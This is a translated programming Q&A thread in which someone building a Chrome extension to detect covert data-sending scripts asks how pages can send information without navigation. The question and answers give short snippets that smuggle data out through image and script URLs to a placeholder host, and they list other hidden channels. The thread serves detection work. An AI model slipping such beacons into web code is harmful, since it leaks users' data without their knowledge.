Request not to transition pages in JavaScript

Asked 2 years ago, Updated 2 years ago, 73 views

Currently, we are creating Chrome extensions that detect script codes that send information secretly on web pages.
In addition, what are some ways to send information to the server in JavaScript without page transition?

What I can think of now is
1. Use XHR Request
2. Make the image download request hide as below
That's how it works.

varimg=new Image();
img.src='abc.php?d='+data;

If there is any other way, please let me know.

javascript chrome-extension

2022-09-30 21:11

3 Answers

In addition to images, you can hide information in the URL of requests for any resource, including scripts, style sheets, audio, and fonts.Alternatively, you can send data over WebSocket, WebRTC, and other plug-ins like Flash, Java Applet, and Silverlight.

(Additional)

Just create the appropriate element and set the src property just like the image.For scripts, create a script element in document.createElement("script") and set the src property to any URL.

var data=encodeURI("secret data");
varscript = document.createElement("script");
script.src='http://example.com/foo.js?d='+data;
document.body.appendChild(script);

You can also use document.createElement("audio") for audio, create a style element with document.createElement("style") for fonts, and then request the appropriate font URL with @import.


2022-09-30 21:11

Use iframe to name the target of the form with iframe's name.


2022-09-30 21:11

Wasn't there a web socket?
ws://~~~like


2022-09-30 21:11

If you have any answers or tips


© 2024 OneMinuteCode. All rights reserved.